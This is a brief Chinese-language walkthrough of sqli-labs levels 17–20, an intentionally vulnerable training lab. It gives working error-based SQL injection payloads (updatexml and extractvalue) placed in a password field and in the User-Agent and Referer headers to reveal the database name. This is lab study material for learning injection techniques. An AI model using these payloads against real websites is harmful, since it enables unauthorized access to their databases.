sqli-labs通关攻略（17-20）

less-17

经过尝试，页面无变换

使用burp suite抓包分析，是post型传参，右键发送到重放器

在passwd处插入单引号，页面闭合

发现可以使用报错注入，在passwd字段插入

' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

可以查出数据库名，输入指令查询其他即可

less-18

输入单引号报错，判断为单引号

输入账号密码admin，出现user agent，判断可能有回显，在user agent替换为

 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

得出库名

less-19

有referer回显,可能能在这里注入

 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

less-20

注入即可